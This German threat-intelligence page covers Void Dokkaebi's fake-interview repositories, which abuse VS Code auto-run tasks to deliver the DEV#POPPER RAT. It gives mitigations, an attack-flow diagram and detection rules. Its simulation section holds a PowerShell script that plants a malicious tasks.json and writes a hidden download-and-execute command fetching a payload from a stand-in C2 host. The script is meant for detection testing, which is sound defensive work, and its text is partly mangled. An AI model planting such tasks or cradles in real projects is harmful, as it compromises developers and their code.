Gefälschte Interview-Köder von Void Dokkaebi zur Verbreitung von Malware über Git-Repositories verwendet
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Void Dokkaebi, eine mit Nordkorea verbundene Bedrohungsgruppe, nutzt gefälschte Vorstellungsgespräche, um Entwickler dazu zu bringen, bösartige Repositories zu klonen. Sobald sie geöffnet werden, missbrauchen diese Repositories injizierte VS Code Tasks und verschleiertes JavaScript, um vertrauenswürdige Codeprojekte in automatisierte Malware-Übertragungskanäle zu verwandeln. Infizierte Repositories können dann dazu beitragen, die Kompromittierung weiter in Entwicklerumgebungen und verbundene Ökosysteme zu verbreiten.
Untersuchung
Trend Micro entdeckte über 750 infizierte öffentliche Repositories, über 500 bösartige VS Code Task-Konfigurationen und 101 Fälle mit einem benutzerdefinierten Batch-Skript, das darauf abzielt, Commits zu manipulieren. Die Analyse zeigte, dass der bösartige Code Payloads über blockchain-basierte Dienste abrief und schließlich eine DEV#POPPER RAT-Variante lieferte. Diese Malware kommunizierte dann sowohl über WebSocket- als auch HTTP-basierte Kanäle mit der Angreiferinfrastruktur.
Minderung
Empfohlene Verteidigungsmaßnahmen umfassen das Isolieren von Code, der über Vorstellungsgespräche erhalten wurde, das Hinzufügen von .vscode/ to .gitignore, das Erzwingen von signierten Commits und Zweigschutz sowie das Überprüfen von Repositories auf bekannte Infektionsmerkmale. Sicherheitsteams sollten auch den Blockchain-API-Verkehr auf verdächtiges Verhalten überwachen und den Zugriff auf die identifizierten Command-and-Control-URLs blockieren. Entwickler sollten VS Code Arbeitsbereich Vertrauensaufforderungen als bedeutende Sicherheitsprüfung und nicht als Routineklick-Aktion behandeln.
Reaktion
Wenn eine Infektion vermutet wird, sofort den betroffenen Arbeitsplatz isolieren, alle offengelegten Anmeldeinformationen widerrufen, bösartige .vscode Task-Dateien und injiziertes JavaScript entfernen und eine vollständige Überprüfung des betroffenen Repositories durchführen. Netzwerkschutzmaßnahmen sollten ebenfalls aktualisiert werden, um die bekannten Command-and-Control-Muster zu erkennen und die ausgehende Kommunikation zu den identifizierten Blockchain-Endpunkten zu blockieren.
"graph TB %% Class definitions classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Node definitions stage_initial["<b>Stufe</b> – Initialer Zugriff<br/>Angreifer lockt Entwickler mit gefälschtem Interview und bösartigem Git-Repository"] class stage_initial stage tech_user_exec["<b>Technik</b> – T1204 Benutzer-Ausführung<br/>Opfer führt bösartigen Inhalt wie einen Link oder kopierten Code aus"] class tech_user_exec technique tech_malicious_link["<b>Technik</b> – T1204.001 Bösartiger Link<br/>Link leitet das Opfer an das bösartige Repository"] class tech_malicious_link technique tech_malicious_copy["<b>Technik</b> – T1204.004 Bösartiges Kopieren und Einfügen<br/>Entwickler kopiert Code aus dem bösartigen Repository"] class tech_malicious_copy technique stage_repo_harvest["<b>Stufe</b> – Repository-Ernte<br/>Geklonte Repositorys gewähren Zugriff auf Quellcode und potenzielle Anmeldeinformationen"] class stage_repo_harvest stage tech_code_repo["<b>Technik</b> – T1213.003 Daten aus Informations-Repositories: Code-Repositorys<br/>Gegner extrahiert Daten aus Code-Repositorys"] class tech_code_repo technique stage_execution_vs["<b>Stufe</b> – Ausführung über VS Code<br/>.vscode/tasks.json führt Downloader automatisch bei Ordneröffnung aus"] class stage_execution_vs stage tech_trusted_ide["<b>Technik</b> – T1127 Vertrauenswürdige Entwicklerdienstprogramme Proxy-Ausführung<br/>Missbrauch von vertrauenswürdigen IDE-Erweiterungen zur Codeausführung"] class tech_trusted_ide technique tech_ide_ext["<b>Technik</b> – T1176.002 Software-Erweiterungen: IDE-Erweiterungen<br/>Bösartige tasks.json löst Ausführung aus"] class tech_ide_ext technique file_tasks_json["<b>Datei</b> – .vscode/tasks.json<br/>Konfiguriert mit runOn folderOpen, um Downloader zu starten"] class file_tasks_json file stage_payload_retrieval["<b>Stufe</b> – Payload-Abruf<br/>Downloader holt Payloads von Blockchain-RPC-Endpunkten"] class stage_payload_retrieval stage tech_resource_hijack["<b>Technik</b> – T1496 Ressourcenumleitung<br/>Nutzt Blockchain-Infrastruktur zur Bereitstellung von Payloads"] class tech_resource_hijack technique tech_obfuscation["<b>Technik</b> – T1027.007 Verschleierte Dateien oder Informationen: Dynamische API-Auflösung<br/>Code versteckt API-Endpunkte und löst diese zur Laufzeit auf"] class tech_obfuscation technique indicator_blockchain["<b>Indikator</b> – Ausgehende Blockchain-RPC-Verbindungen<br/>Anrufe an api.trongrid.io aptoslabs.com und BSC RPC"] class indicator_blockchain indicator stage_module_hijack["<b>Stufe</b> – Modul-Hijacking<br/>Verstecktes .node_modules-Verzeichnis platziert, um bösartige Node-Module vorzuladieren"] class stage_module_hijack stage tech_shared_modules["<b>Technik</b> – T1129 Gemeinsame Module<br/>Bösartiges Modul wird vor legitimen geladen"] class tech_shared_modules technique file_node_modules["<b>Datei</b> – .node_modules-Verzeichnis<br/>Enthält gehijacktes Modul"] class file_node_modules file stage_rat_deployment["<b>Stufe</b> – RAT-Bereitstellung<br/>DEV#POPPER RAT-Variante etabliert WebSocket-C2 und exfiltriert Daten"] class stage_rat_deployment stage malware_devpopper["<b>Malware</b> – DEV#POPPER RAT<br/>WebSocket-C2, Dateiexfiltration, umgeht CI/CD-Pipelines"] class malware_devpopper malware indicator_c2["<b>Indikator</b> – WebSocket-C2-URLs"] class indicator_c2 indicator stage_persistence["<b>Stufe</b> – Persistenz und Commit-Manipulation<br/>Eingespritztes bösartiges JavaScript in Konfigurationsdateien und Batch-Skript ändert Commits"] class stage_persistence stage tech_timestomp["<b>Technik</b> – T1070.006 Indikatorentfernung: Timestomp<br/>Ändert die Systemuhr, um Commits zurückzudatieren"] class tech_timestomp technique file_postcss["<b>Datei</b> – postcss.config.mjs<br/>Eingespritztes verschleiertes JavaScript"] class file_postcss file file_batch["<b>Datei</b> – temp_auto_push.bat<br/>Automatisiert Commit-Änderung und Zwangspush"] class file_batch file stage_propagation["<b>Stufe</b> – Weiterverbreitung<br/>Bösartiger .vscode-Ordner und Code übergeben, nachfolgende Entwickler erben Infektion"] class stage_propagation stage tech_propagation["<b>Technik</b> – T1127 Vertrauenswürdige Entwicklerdienstprogramme Proxy-Ausführung<br/>Wiederholter Missbrauch von IDEs über geklonte Repositories hinweg"] class tech_propagation technique tech_repo_spread["<b>Technik</b> – T1213.003 Daten aus Informations-Repositories<br/>Bösartiger Code verbreitet sich über Repository-Sharing"] class tech_repo_spread technique indicator_detection["<b>Indikator</b> – Erkennung IOCs<br/>Blockchain-RPC, WebSocket-C2, /verify-human/ und /u/f HTTP-Pfade"] class indicator_detection indicator %% Connections stage_initial –>|nutzt| tech_user_exec tech_user_exec –>|umfasst| tech_malicious_link tech_user_exec –>|umfasst| tech_malicious_copy tech_malicious_link –>|liefert| stage_repo_harvest tech_malicious_copy –>|liefert| stage_repo_harvest stage_repo_harvest –>|nutzt| tech_code_repo stage_repo_harvest –>|führt zu| stage_execution_vs stage_execution_vs –>|nutzt| tech_trusted_ide stage_execution_vs –>|nutzt| tech_ide_ext stage_execution_vs –>|führt aus| file_tasks_json stage_execution_vs –>|löst aus| stage_payload_retrieval stage_payload_retrieval –>|nutzt| tech_resource_hijack stage_payload_retrieval –>|nutzt| tech_obfuscation stage_payload_retrieval –>|erstellt| indicator_blockchain stage_payload_retrieval –>|führt zu| stage_module_hijack stage_module_hijack –>|nutzt| tech_shared_modules stage_module_hijack –>|enthält| file_node_modules stage_module_hijack –>|führt zu| stage_rat_deployment stage_rat_deployment –>|setzt ein| malware_devpopper malware_devpopper –>|kommuniziert mit| indicator_c2 stage_rat_deployment –>|bereitet vor für| stage_persistence stage_persistence –>|nutzt| tech_timestomp stage_persistence –>|modifiziert| file_postcss stage_persistence –>|führt aus| file_batch stage_persistence –>|ermöglicht| stage_propagation stage_propagation –>|nutzt| tech_propagation stage_propagation –>|nutzt| tech_repo_spread stage_propagation –>|produziert| indicator_detection "
Angriffsablauf
Erkennungen
Möglicher Missbrauch des Publicnode Ethereum als C2-Kanal (via dns_query)
Ansicht
Mögliche Dateninfiltration / -exfiltration / C2 über Drittanbieterdienste / -werkzeuge (via Proxy)
Ansicht
Mögliche Dateninfiltration / -exfiltration / C2 über Drittanbieterdienste / -werkzeuge (via dns)
Ansicht
Mögliche VS Code Automatische Tasks-Konfigurationsdatei in ungewöhnlichem Verzeichnis erstellt [MACOS] (via file_event)
Ansicht
Mögliche VS Code Automatische Tasks-Konfigurationsdatei in ungewöhnlichem Verzeichnis erstellt [LINUX] (via file_event)
Ansicht
IOCs (SourceIP) zum Erkennen: Gefälschte Vorstellungsgespräche, die von Void Dokkaebi genutzt werden, um Malware über Git-Repositories zu verbreiten
Ansicht
IOCs (DestinationIP) zum Erkennen: Gefälschte Vorstellungsgespräche, die von Void Dokkaebi genutzt werden, um Malware über Git-Repositories zu verbreiten
Ansicht
Erkennung von Void Dokkaebi Bösartigen VS Code Tasks und Verschleiertem JavaScript [Windows-Datei-Ereignis]
Ansicht
Simulationausführung
Voraussetzung: Die Pre-Flight-Prüfung von Telemetrie & Baseline muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die dazu konzipiert ist, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, die genau erwartete Telemetrie zu erzeugen, die von der Erkennungslösung erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffserzählung & Befehle:
Ein Angreifer, der einen Entwickler dazu gebracht hat, ein bösartiges Repository zu klonen, platziert eine verdeckte VS Codetasks.jsonin den Projektordner. Die Aufgabe verweist auf ein.vscodeim temporären Verzeichnis des Systems befindlichestemp_auto_push.batSkript. Die Batch-Datei wird durch ein verschleiertes JavaScript-Fragment erzeugt, das die Markierungen einbettetglobal['!']andglobal['_V']. Wenn der Entwickler den Ordner in VS Code öffnet, wird die Aufgabe automatisch ausgeführt, wobei die Batch-Datei gestartet wird, die schließlich zu einem C2-Server verbindet. Diese Kette erfüllt T1053.007 (VS Code-Aufgabe), T1127.003 (permanente Verknüpfung über Batch) und T1027.007 (Verschleierung).Die Schritte sind:
- Platzieren des bösartigen
tasks.jsonmit den erforderlichen Zeichenfolgen. - Erstellen des verschleierten JavaScripts welches bei Auswertung
temp_auto_push.batschreibt, das den bösartigen Befehl enthält. - Auslösen der VS Code-Aufgabenausführung (simuliert durch Aufrufen der Aufgabe via
code --folder-uriCLI).
- Platzieren des bösartigen
-
Regressionstest-Skript:
# ------------------------------------------------- # Void Dokkaebi VS Code-Aufgabe & Verschleiertes JS-Simulation # ------------------------------------------------- $vscodeDir = "$env:USERPROFILE.vscode" $taskFile = Join-Path $vscodeDir "tasks.json" $tempBat = "$env:TEMPtemp_auto_push.bat" $jsPayload = @" (function(){ var g = global; g['!'] = true; // Marker für Erkennung g['_V'] = 'payload'; var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"'; var fso = new ActiveXObject('Scripting.FileSystemObject'); var file = fso.CreateTextFile('$tempBat', true); file.WriteLine(cmd); file.Close(); })(); "@ # 1. Sicherstellen, dass der .vscode-Ordner existiert New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null # 2. Bösartige tasks.json schreiben @" { "version": "2.0.0", "tasks": [ { "label": "AutoPush", "type": "shell", "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS" } ] } "@ | Set-Content -Path $taskFile -Encoding UTF8 # 3. (Optional) Aufgabe direkt aufrufen, um VS Code Auto-Run zu simulieren # Hinweis: In einer realen Umgebung würde VS Code diese Aufgabe analysieren und ausführen. Write-Host "Bösartige VS Code-Aufgabe bereitgestellt. Auslösen über simulierte Ausführung..." cscript //nologo //E:jscript //B - <<'JS' $jsPayload JS Write-Host "Simulation abgeschlossen. SIEM auf Alarm überprüfen." -
Bereinigungsbefehle:
# Bösartige Artefakte entfernen Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue # Optional das .vscode-Verzeichnis löschen, falls es nur für den Test erstellt wurde if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) { Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue } Write-Host "Bereinigung abgeschlossen."